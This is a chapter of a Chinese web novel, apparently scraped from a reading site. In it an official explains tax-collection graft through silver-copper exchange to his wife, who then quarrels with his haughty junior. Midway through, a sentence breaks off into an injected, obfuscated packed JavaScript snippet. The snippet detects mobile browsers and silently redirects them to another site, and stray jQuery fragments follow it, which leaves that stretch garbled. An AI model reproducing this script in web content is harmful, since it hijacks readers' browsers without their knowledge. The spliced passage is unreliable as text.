默认冷灰
24号文字
方正启体

5.姓应的不吝赐教

作者:一米花本书字数:K更新时间:
    仪贞头一遭看他这般横眉竖眼地发怒,不由怔然,心底慢慢地咂摸着他的话,又很有些不解。


    行鸿还在气头上,冷笑连连:“夺泥燕口,削铁针头,刮金佛面细搜求啊!亏这些人想得出来!做得出来!”


    这句话仪贞更是听不懂了。她歪着头看他:“行鸿,你这里头的话好像有好几层意思,怎么说得这样不明白?”


    行鸿这才想起来,与她谈这些是要教她的,他自家反倒先动起怒了。行鸿闷了口茶,把火气压下去,话头又重新转回去:“哪没说明白?”


    “钱贵银贱……还有怎么跟贪腐又扯上干系了?”


    行鸿解释道:“这里头其实很简单,我一说你就明白了。朝廷定的一两银子兑二千文,可你去钱庄上换,一千三百文就能兑一两银子,同样的银子兑得铜钱少了,可不是银子贱了,铜钱贵了么?”


    仪贞笑起来:“这话明白。”


    行鸿继续说:“再说贪腐,这便又说到税赋上头了。我且问你,像你们家这样的人家,每年要交哪些税呢?”


    仪贞脱口而出:“田税和人头税嘛。”


    行鸿笑道:“小丫头,你知道得不少。”


    “像我这样出身的女孩,这个年纪得知道当家了。”


    “是了。”行鸿望向案上的文书,“田税和人头税。现拿你家作比:你家三口人,一人算四百文,三人的人头税就是一千二百文。你们家就算二十亩中等水田,每亩本色两斗,折色银就是二百文,二十亩就是四千文。这样算来,岳丈大人一年要交五千二百文的税,兑成银子,也就是要交——”


    仪贞抿着嘴儿笑:“康大人,你错了。”


    “嗯?”


    “五千二百文是明面上的税,哪有那么简单?爹去缴税的时候,还要补火耗钱,额外还有各种摊派什么的,凑个整儿,算六千文,三两银子好了。”


    行鸿赞道:“到底是当家太太。”他继续道,“那么你们徐家,一年要出三两税银。但是百姓手头未必都有银子的,许多时候仍是缴钱。”


    “这话是的,爹每次去都要背个大麻袋儿装钱呢。”


    行鸿道:“收税的官员收了岳丈大人的六千文钱,第二天,带着六千文去钱庄上兑银子。现知一千三百文兑一两银,三两银就是三千九百文,太太,对么?”


    仪贞如雷击灵台,整个人轰然怔住,她喃喃:“不,不对……还剩两千一百文呢……”


    “这就是贪腐了。”


    仪贞忙抬眼看他:“可是,可是,他们怎好这样?怎好悄悄去钱庄兑银子?”


    行鸿望着他:“怎么不好?哪家钱庄立规矩了,不许吏员去的么?”


    仪贞愣愣的,手搭在案上,半天没动。


    未久,她把这些铜钱拢到面前,一枚一枚地看,一枚一枚地摸。新旧不一,轻重不一,成色不一。


    “所以,”她低声道,“我们缴上去的税钱,他们拿到外头一倒手,光一户人家就能吃二千多文!”


    行鸿没有回答,只是看着她。


    仪贞又低下头,手指摩挲着那枚承元二十二年制钱,喃喃道:“都已经这么穷了,他们还要刮出油水来……”


    行鸿抚着下巴,他其实还想跟仪贞说:等你坐到他们的位置上了,很难不想去刮别人身上的油水。


    但他到底没说,因他自问也不全然是个两袖清风的人。他从小生在那样的门户,未必就没有被赃银供养过,未必就没有得过贪腐的好处。这世上全然清廉、全然干净的官,还有没有?有,但只怕做不到京都来。


    “行鸿,”仪贞忽然开口,“那你办这样的差,是不是很危险?你是不是会得罪很多人?”


    行鸿只是笑道:“做官嘛,哪有不得罪人的。”


    仪贞拧眉看他:“你,哎……”


    行鸿却微微笑起来。她在心疼他么?是了,如今他是她的倚仗,她自然会担忧他、关心他。可这不是感情,这是她担忧自己的前程。行鸿又有些灰心。


    “放心,这差使是陛下交给我的,就算得罪了人,也不打紧。”


    “看来陛下很倚重你。”


    行鸿忽而哈哈笑起来:“不,陛下是怜我老无力。”


    仪贞又不懂了,却把细眉一拧:“说了不许提那个字。”


    行鸿拍了拍她的手,笑道:“亭哥儿从前给陛下做过伴读,陛下待他蛮亲近的。可惜我这个做老子的不中用,靠着亡子的余荫走到如今,陛下怜我年迈,行将致仕,才说把江南的农政、钱政丢给我办。他知道这两年江南这儿是有些问题的,要我致仕前把这钦命差使排排场场地办了,回京他也好给我加衔,到时候我就算回密州养老,也风光些了。这是圣上厚德。”


    “你这么说,陛下还蛮有人情味儿的。”


    “人情文章么,到哪都是一样。”行鸿说,“好了,夜深了,该就寝了,我一会儿也回去了。明儿你就在屋里练字,回来我教你新的,好么?”


    仪贞点点头,把练字的纸折好,压在行鸿的玉螭镇纸下,方款款散去。行鸿垂眸望了会儿这张练字纸,微微一笑,旋即笔沾浓墨,写道:“砚开初试墨痕新,不羡簪花羡笔真。莫道蓬门无凤藻,寸心犹可斩荆榛。”


    写罢,行鸿搁笔,又端详了一回。末两句他自觉有些露了,却又觉得正该如此。她是诚心要学的,她自家都不怕人说闲话,他写个诗还要藏着掖着么?


    他将诗笺一同压在镇纸下,吹灭了灯,才往寝居去了。


    翌日行鸿照旧去衙门里,仪贞在自己院里学写字。写累了,她又想着荡秋千去,换了身清爽利落的衣裳,甫来到正院,便见应菩寿坐在里头,跟几个生面孔的男人正在说话。


    应菩寿似也瞧见了她,脸一侧,淡淡瞥她一眼,而后又敛了目光。


    仪贞正要问身旁的丫鬟,忽而,正堂的门被应菩寿身边的两个小厮轰地关上了。仪贞立时气得瞪起眼来,尚未发作,一个侍茶的丫鬟走了出来,笑着同仪贞道:“二爷正同几位旧友闲谈,怕太太是来荡秋千的,扰了客,所以把门关了。二爷说了,太太要玩,只管轻声些便是了,别跟昨天那样,在客人面前丢脸,就不好看了。”


    仪贞的脸胀得绯红,一时却又想不出什么辩驳的话来,只好恨恨地盯了那丫鬟一眼,扭身就回自己院里去。她一口气回了屋,歪在美人靠上,眼睛直直地望着那置在洋漆小几上的瓜子黄杨盆景,心中已将应菩寿骂了千百遍。


    云蝶走来问仪贞:“前头厨房在做饭,宋太太点名要了这几样菜——”


    仪贞直起身子:“我跟他们夫妻一块儿吃?”


    云蝶一愣,旋即笑道:“太太不想的话,我们就另开火。”


    仪贞心想,若是另开火,倒显得自己故意躲他们,气势上就先输了,可瞧见应菩寿那张脸,她又实实在在地不痛快。


    她道:“上次听老爷说那个什么广乐楼的席面做得好,你们收拾下,再套个车,我们一块出去吃。”


    云蝶答应了一声,方掩门退下了。


    仪贞坐在马车里,云苓和云蝶对坐一旁,三人和乐融融说着话。


    仪贞问:“打听了么,那他们准备住多久?”


    云苓道:“至多半个月,应二


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375890|199748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爷虽是告假来的,但也不能把天杭正经的差遣给荒了。”


    仪贞撇了撇嘴:“他那么能,怎么不当个京官,还不是外放出来了。”


    云苓笑道:“二爷才入仕,这几年进士就是先从地方官做起来呢。”


    仪贞瞥她一眼:“我知道,我就是看不惯他那副清高傲慢的样儿。”


    云苓和云蝶俱掩唇笑起来。


    说话间马车拐了个弯儿,却突然停下来。


    仪贞挑起车帘,只见前头并排好几匹马,慢搭搭走着,马上坐的赫然是应菩寿和他的朋友。


    赶车的灯儿笑道:“二爷急么?我们太太也要出门哩。”


    应菩寿转过身,见青帷马车侧旁探出徐氏那张脸,不禁微微眯了眼。他同身旁好友道:“你们先走,我与嫂嫂讲几句话。”那些人听他这么说,一径甩鞭去了。


    这厢应菩寿勒转马头,缓缓骑行而来。他停在马车侧旁,居高临下地望着车窗后仪贞愠怒的脸。


    “康太太是要出门么?”


    仪贞道:“你管我。”


    “干什么去?”


    仪贞拧眉望他:“要你管。”


    应菩寿攥着马鞭,目向前方空旷的巷道,平声道:“你既下定决心要做康太太,便得守好康家规矩。什么地方该去,什么地方不该去;什么人该见,什么人不该见;什么话该说,什么话不该说。你需得留心仔细,任着性子胡来只会在外人跟前丢了兄长的脸面。”


    仪贞已然气了个倒仰。


    应菩寿却还在说:“这些时日你要出门,可喊上玉芬作伴。兄长如今是钦差,办的案子万分紧要,外头若有人找上你,要你做什么、说什么抑或是递送个什么,万莫轻易回复,但也别全都拒了,先回来问兄长。兄长若一时不在,你就遣云苓过来问玉芬和我。”


    仪贞攥紧了车窗边沿,指节近乎泛白。她望着应菩寿高高在上的身影,那灰黑的影子笼罩下来,挡住她能见到的几乎所有天光。仪贞心底的火苗正一窜一窜地往上燎,可她偏偏发作不出来。应菩寿的话,并非全无道理。而况昨日她已经把人得罪透了,今儿要是再闹一场,行鸿夹在中间,为难的还是他。


    故此,仪贞深吸一口气,扬起一个合宜得体的笑:“我明白了,应大人还有什么指教?”


    应菩寿一时怔愣,眯着眼睛审视仪贞。


    仪贞也仰着头看他,保持着笑意,并不吭声。


    应菩寿错开眸子,抿唇道:“出门记得带幕离。”


    “我带了。”


    “要当大家闺秀,尽量还是少出门。”


    “哦。”


    “听说你在学字,有不懂的可以问玉芬。”


    “行。”


    “赶紧把待人接物的规矩也一并学了。”


    “回来我就去请人来教。”


    应菩寿心里不得劲起来,仿佛他邦邦硬的拳头砸在棉花上,连个响动也没有。他觉得自己这样怪没趣儿的,若非为着兄长,他岂会给这村女提点这么多?她也配?如此想着,应菩寿也懒得理仪贞了,双手勒住缰绳,掉转马头。


    仪贞看他又吃了一瘪,心里不觉畅快。见他摆出这副模样,一时又觉得厌烦。仪贞把半个身子都探出去了,伸出手,掌心对准刚转过来的健硕饱满的马屁股,重重拍了一下,她扬声道:“快走罢!走!”


    那马受了一惊,颠着蹦着就往前头跑去了,把应菩寿颠得东倒西歪的,好不容易才稳住马。他气得脸色涨红,恨恨地转过头,只见不远处探出半个身子的仪贞,正笑意盈盈地望过来,声音清脆:“应大人,多谢赐教了啊!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)